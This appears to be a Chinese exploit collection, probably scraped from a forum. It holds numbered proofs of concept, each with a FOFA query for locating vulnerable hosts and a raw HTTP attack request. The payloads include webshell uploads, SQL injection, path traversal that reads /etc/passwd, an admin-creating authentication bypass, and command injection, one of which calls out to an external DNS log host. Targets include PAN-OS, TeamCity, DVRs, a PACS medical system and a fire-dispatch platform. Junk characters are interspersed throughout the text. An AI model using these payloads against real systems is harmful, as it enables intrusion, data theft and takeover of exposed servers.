User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: \  \2 ]$ q; W, C, c- CAccept: */*
Accept-Encoding: gzip, deflate
/ h& L3 I, M1 t/ j5 q& g' ?( FConnection: close
* \1 t1 g5 P4 n. i" z& T

! e0 y- x2 W5 m( Z7 q" k第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
2 ]2 T' O( K, m/ A6 hHost: x.x.x.x
) E7 G! r4 a( R) o/ iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: a1 f3 e$ E& U0 B7 N( L/ U- HAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9


) @" W/ y: J6 ]' K2 x1 V130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
+ Z6 j: J8 h( }, d8 ^; DHost: 127.0.0.1
5 I/ b! H# q0 o9 P: rAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
4 x* p, Y- G6 ~User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
+ w; f0 G. |/ `2 FContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
- f* N! o8 ]/ V1 X7 M6 GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
" [4 V# i5 `0 L8 ~; H  r" I  ~Connection: close

4 ]7 D% r) C& {& e------WebKitFormBoundary3OCVBiwBVsNuB2kR
8 L/ W$ p+ R! D- tContent-Disposition: form-data; name="file"; filename="1.php"
0 \3 I  G1 Q8 i9 x4 MContent-Type: image/png

: v7 D7 {! l- |: Z# o$ s<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
4 c" w3 V0 n6 }4 l0 m, e1 a

131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
  x+ G& ]. N( m2 k% MFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
( y/ c) A8 v- a. w7 o! W" U& OHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
! ?/ _9 M; i) C) NContent-Type: application/json
Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

. d" B0 J6 `9 q. |2 }
- w0 m7 N  D& UCVE-2024-27199
/res/../admin/diagnostic.jsp
! ]$ B" v9 t$ `* v' E$ j" x/.well-known/acme-challenge/../../admin/diagnostic.jsp
! I/ W' b( u, q/update/../admin/diagnostic.jsp

6 _/ c# i: W! F' b0 b" E
CVE-2024-27198-RCE.py

" j- f1 }$ Y) \( W9 w0 P133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
3 A" y* u2 O* ?- kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
. y2 Z5 n/ X( Z& lContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

. V- t6 S. ?% g3 a. H  g<?php system("cat /etc/passwd");unlink(__FILE__);?>
  @4 B: ^- c1 W------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

3 u2 A+ S# z) i5 `
: f4 x: o2 Y; g1 ?) T* x
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
! K' W: o. J" }. iFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
- ~3 ~" O; [/ a, ?% k; ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 ]( m3 `9 S$ B1 MAccept-Encoding: gzip, deflate
" O* S& d0 S& Z0 P7 E7 [: a% x- tSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
7 N. u( o/ L4 m$ E. ATe: trailers
/ r7 H+ c0 z- n7 |! _1 {Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

$ E* {. G( z5 \9 {. A6 q' sjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


# \9 E* D4 V3 h4 s( {4 {135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
3 y# A- U) W/ b# PNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
1 f# l. F$ T( Y9 o1 z0 UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 A- c* H# z, ?7 n$ I: UAccept-Encoding: gzip, deflate
9 b+ L* c& N/ ^( A0 d+ TAccept-Language: zh-CN,zh;q=0.9
Connection: close


136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
  h( v6 \' p" \6 D$ pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& s* l! M, P9 |9 ]  tConnection: close
Accept: */*
Accept-Language: en
, Z4 G# P5 s  e  lAccept-Encoding: gzip

  w% U3 l5 X% _8 s3 c1 O
$ S( T3 p4 q$ S8 J137. 福建科立迅通信指挥调度平台down_file.php sql注入
% @4 }, T$ h; C" JCVE-2024-2620
& V( S+ q+ v, v' k8 yFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
; y! e. ]! X; ]& bGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
6 P6 a: G' u2 G7 ~5 BHost: x.x.x.x
0 f$ Z. P$ Z+ n( F# I" k& CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
# C$ _6 W3 k# x# y/ P$ d+ yConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


& z5 Q7 f3 n( m/ J6 q0 v138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
; e: s' [* N/ c, Z( {Connection: close
Upgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
; w0 s& H) W$ FFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
5 o, p+ O6 U. e0 [. b* S" J3 cHost: x.x.x.x
6 N4 C9 Y% u- W* T7 a2 {  [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
3 G- ]0 O5 |5 \0 Z6 O0 jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
3 m( V" `% c. Z5 h6 d+ ?; [Connection: close
4 {' [4 j# r7 a& G6 tCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1

# K" B2 C) j8 z; J' _: l
( q  e+ O% U0 Q( b0 O140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
8 ~: v: Z" F8 H+ Z% CGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
# d& D$ Q" |4 u; {  wHost: x.x.x.x
& Z: ], X1 }9 o7 j3 y  G4 j, kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* Y$ B3 r8 h/ X, j/ G) ]Accept-Encoding: gzip, deflate, br
! ^. }9 x. [) D6 ~Connection: close
7 s! n, q% Z, Y3 ^2 _/ n( B1 hCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
" E9 s+ v, O- s9 o9 E5 `* g8 l

# d' w/ ]- L6 h141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
$ |- G0 j6 R! w% D& _, Y% HFOFA：body="指挥调度管理平台"
7 ]& G. {  `, |1 h, UPOST /app/ext/ajax_users.php HTTP/1.1
, g  C2 T* X& C6 ?( G% F! o! hHost: your-ip
& c' j& b- f- v8 T& t" DUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
9 O: ^. x4 i! S' M0 R# HContent-Type: application/x-www-form-urlencoded

/ A* E* W( V# t
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

3 v+ M, Y$ L6 x! i3 {3 \3 ~
2 @0 d2 x7 Z+ n; U. o6 C/ J142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
0 K7 C0 M( ?4 a: b) c+ D3 TFOFA：body="/808gps/"
8 K4 P' `* _2 B6 U5 S+ h5 Xadmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
8 v; Q# E. D+ S& ZPAYLOAD
, Z7 P: c9 }% |; w" q% j* r1 }5 g
144. D-Link nas_sharing.cgi 命令注入
' I9 v1 T1 @/ d' cFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
  E4 G! j  q5 k2 Q5 UGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
$ A# w+ ^# p8 b; x: {% E7 d6 B# vConnection: close
Accept: */*
- O  B6 t9 c" MAccept-Language: en
" W# G$ C# P! e/ }( AAccept-Encoding: gzip


2 t9 J' \# u7 r! H7 a3 b145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
2 G2 J0 x# F6 y. U) L! {  RFOFA：icon_hash="-631559155"
5 ^# J' @! L" j! X( K4 {. A% ]GET /global-protect/login.esp HTTP/1.1
- O. q7 N( D9 ]7 U! j& PHost: 192.168.30.112:1005
5 E3 @: T7 }1 x, O: mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
* U9 m5 k2 |/ a6 I6 i6 I: cCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
' Q1 D4 ?* }( i: t) K; u* }( z1 pAccept-Encoding: gzip


3 Q, w" z4 A9 R) }+ I. c) a) ]. o2 j* m146. MajorDoMo thumb.php 未授权远程代码执行
! _; Y, q% e1 Q2 }% bCNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
% a9 D# J2 |; V6 J( B6 ?% KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
+ Z- P' v- `1 X" f, r" ?2 Q2 m& `5 Y4 rAccept-Charset: utf-8
: ?' \& }4 j$ N. e$ d' p% ?Accept-Encoding: gzip, deflate
Connection: close


147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
+ l! E( ^+ I& ~CVE-2024-32399
8 j% `" q% p+ H8 y) I- K3 t4 YFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
: C# X+ A  ?/ c: U6 @# c; uCache-Control: max-age=0
Connection: close

/ Q, T' u& {* }# d4 H! _4 {+ t
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
  ]+ b  U, d+ m  b9 x$ H: ]3 \/ qFOFA：body="CrushFTP"
PAYLOAD
, d+ L, a  J! S9 }8 p3 I
149. AJ-Report开源数据大屏存在远程命令执行
! y8 {0 ~( h' v6 g) ~9 U. QFOFA：title="AJ-Report"
: B9 r; y+ O$ ^' f; k+ [
' @9 W$ `, g- o6 e4 ?) |POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
& N. e  c1 `1 W, f+ b; |9 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ `% [+ l; l3 m& nAccept-Encoding: gzip, deflate, br
5 `+ i+ b" U0 Z: w" v5 i& e  ~- YAccept-Language: zh-CN,zh;q=0.9
* c0 j2 C" Z1 C* i4 o/ @Content-Type: application/json;charset=UTF-8
Connection: close
+ B# w% s( x: q0 z0 W) S
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
3 D5 w1 l: u# I. ~. l
150. AJ-Report 1.4.0 认证绕过与远程代码执行
0 U4 t( f# L1 ]* T5 m4 [FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
# @& ?, q' f0 }2 t* b" rHost: x.x.x.x
$ H1 q5 h1 I( g: Z( B) R% NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
0 `/ \1 s3 A5 m0 m$ f4 f1 PAccept-Language: zh-CN,zh;q=0.9
8 z4 n. j5 s+ Z/ [7 H) `! PContent-Type: application/json;charset=UTF-8
, T8 k* k0 r& j) A" z' k; ]Connection: close
Content-Length: 339
8 Q0 n) P7 s4 z8 e% h
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

( ?* H0 m1 j0 q, [% V7 s, G
151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
+ D' q3 ^7 ^( d7 n) ~- w' RGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
2 \" u' v$ A3 Z; `/ a0 O3 OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& ]' A% e$ E  y7 [/ M# \Connection: close
; I' b7 F; ~. q6 ~: ~" WAccept-Encoding: gzip
: m6 g2 g/ C: w( z3 f
% [) B5 h4 \! ~* h" \' d
; c& Q! |6 B7 S7 P' z/ j152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
. o3 `2 ]+ E: y8 KLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
' U% r. r6 O6 c" p5 _  O2 R1 L: f8 J3 T3 bLoadMaster <= 7.2.48.10 (LTS)
4 C" D6 A) D( G' k5 m2 n4 tFOFA：body="LoadMaster"
1 ^- V7 S- g0 m4 @* v: FJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
( a9 F; ?' I5 C1 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
3 U; `9 v% n: b; U, _2 Y" HAccept: */*
' ]8 R2 E/ h1 j" @+ _2 `$ g8 gAccept-Language: en
6 y8 o6 v1 r' pAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
9 B6 e" U* I! e" eAccept-Encoding: gzip
+ P& ~1 ^" w& o4 m' T
& n, [4 t) \6 n4 |. ?
$ [- S; e0 {6 B2 S& i2 X2 L! E6 l+ V3 p% d5 S153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
! C: i" ?. m7 ?) P+ ^! j第一步，请求/config文件获取componets的id
0 d* e3 m4 H) j* N  [& {http://x.x.x.x/config
3 v7 X! d& i" F" b  H$ ], F
* e8 p0 k( t4 I: ~5 B- q, s
, b& b& r5 T, x; I- U第二步，将/etc/passwd的内容写入到一个临时文件
. G0 t+ `/ Y$ W: R6 `POST /component_server HTTP/1.1
+ n% [! ^8 l1 \) H: A( tHost: x.x.x.x
8 E" A* S, C, ^8 o- bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
0 E5 {$ f0 `3 v1 J2 Y; g2 UContent-Type: application/json
# r0 ~+ x; X/ s3 d. o/ VAccept-Encoding: gzip

- F3 _9 i% T0 [: E& I{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
& v6 ~9 y$ @$ |4 O& Z. l" A8 |9 o! h
, ?1 p* L/ x6 s5 l9 I, l+ k$ [
第三步访问
; g0 ]. M3 x5 X" K4 O5 Xhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

1 d1 U2 r5 u/ i( C
154. 天维尔消防救援作战调度平台 SQL注入
8 F; X) ^* g, {- W0 zCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
7 X' Z' _9 X9 k8 vHost: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
7 ^+ r  I$ q( W) W( K7 jContent-Type: application/json
& [8 Z5 x, p+ bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
6 E7 [3 A2 Q- e4 EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- |( u4 |7 ~7 DReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
# g+ }) v- b6 O: I4 l, A3 AConnection: close
0 _6 G/ q: L$ _
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
% T% p4 A+ p2 }" j- P

! J4 Z4 c: \4 O4 x: k4 S0 w155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
' w* ~! c" a! w4 ]6 q7 J+ RPOST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
3 [; b. l) M1 s1 F. s+ U- {Accept: application/json, text/javascript, */*; q=0.01
) \- Q1 k- O$ c; O: f; XAccept-Encoding: gzip, deflate, br
  I- u  s# x/ M& a1 }1 T" y& m5 Y3 |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 }- |3 ~  ~/ ^9 O5 jContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
# q9 r) n/ M4 G4 Y" Q
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
8 s" [9 A, e: f: a4 ]2 u
<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--


访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

) y) Q' j" V1 }5 {. d  C$ D1 W156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
) Z9 `8 _3 x$ |, X. l1 |5 }FOFA："Location: /login.rsp"
·TBK DVR-4104
* N. k/ [, x1 a7 F·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

0 \4 K, B4 T$ j! I; i0 w
% }1 A4 A( g6 b, U: S" ~# cPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
7 C5 c, S9 z2 H, x+ _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
5 g! H8 m- ]3 nCookie: uid=1
& J( e' V3 U8 xAccept-Encoding: gzip


/ w1 o; q" D6 ^/ L) c. M0 `157. 美特CRM upload.jsp 任意文件上传
1 F0 `7 [: x& k  P0 A) m9 hCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, C+ A9 S) Y) H5 {) `Accept-Encoding: gzip, deflate
9 \- P! u- p: g( r! gAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
9 ~! s1 f) _# b/ uUpgrade-Insecure-Requests: 1
  u7 y+ y8 @" x& s: U
------WebKitFormBoundary1imovELzPsfzp5dN
$ q4 c$ V* \* w& x. t8 |8 o4 |5 tContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
3 g- B2 D7 e# ~9 MContent-Type: application/octet-stream
5 ^8 G& q) j" `2 p
' H" M" G# I9 Qnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
: P5 ?& o+ ?: n8 PContent-Disposition: form-data; name="key"

2 q7 G* F. u+ H, R$ S8 B% E. n. Ynull
! h+ q/ w2 q$ G, n2 F3 p) k------WebKitFormBoundary1imovELzPsfzp5dN
% O+ @9 l) _1 V- I) X+ m5 yContent-Disposition: form-data; name="form"
- K) Z$ K* B& @) N6 [6 m3 p6 \
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
6 h! Q4 K$ q0 T; T
null
------WebKitFormBoundary1imovELzPsfzp5dN
$ o  |" A) V  y  ]9 mContent-Disposition: form-data; name="filetitile"

null
! A  n+ h' R0 H0 ~& D$ L- @------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
6 H9 x4 V2 M. j5 [" @+ _2 V8 U6 ?
9 g9 w1 Q! s( E3 m8 I& _null
------WebKitFormBoundary1imovELzPsfzp5dN--

4 A! F9 Z4 b3 a& Z# Z1 l
8 H, P- j7 `  @+ K; y+ u6 Ihttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
6 }# f" A0 C& M* C
8 |. P+ B5 Y/ v3 k158. Mura-CMS-processAsyncObject存在SQL注入
2 \  l4 Q1 Y0 u8 {  RCVE-2024-32640
( n1 T) k& D) n9 x/ f" V! V1 F/ YFOFA："Generator: Masa CMS"
8 A3 f6 Y) u" APOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
1 r6 v7 @/ F) o3 ~2 [$ v' oHost: {{Hostname}}
3 K4 _# G5 t, [$ x9 XContent-Type: application/x-www-form-urlencoded
( o% p; }- d1 t" g# f& r; O
! J5 z# Q! q8 C4 [0 Iobject=displayregion&contenthistid=x\'&previewid=1
) j7 F3 t) j7 W& d
: ~: P* B% k. s% e+ `
% a' O1 {+ f3 ^' B159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
4 X$ W9 ^8 o: J; C7 |& QFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
+ o$ F: ~: T9 L  JHost: x.x.x.x
' p% \1 O5 N+ v, d: eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
0 `7 q1 K' j  E* d( y7 S: G6 iContent-Length: 1080
Accept-Encoding: gzip, deflate
, c6 x- M8 d$ n) [9 VConnection: close
Content-Type: text/xml; charset=utf-8
7 H) }% V" w2 a8 f. fSoapaction: "http://rainier/jobUpload"
3 L+ Z7 |- A! v" l& v
7 @0 [& Q7 n: p# V4 A<?xml version="1.0" encoding="utf-8"?>
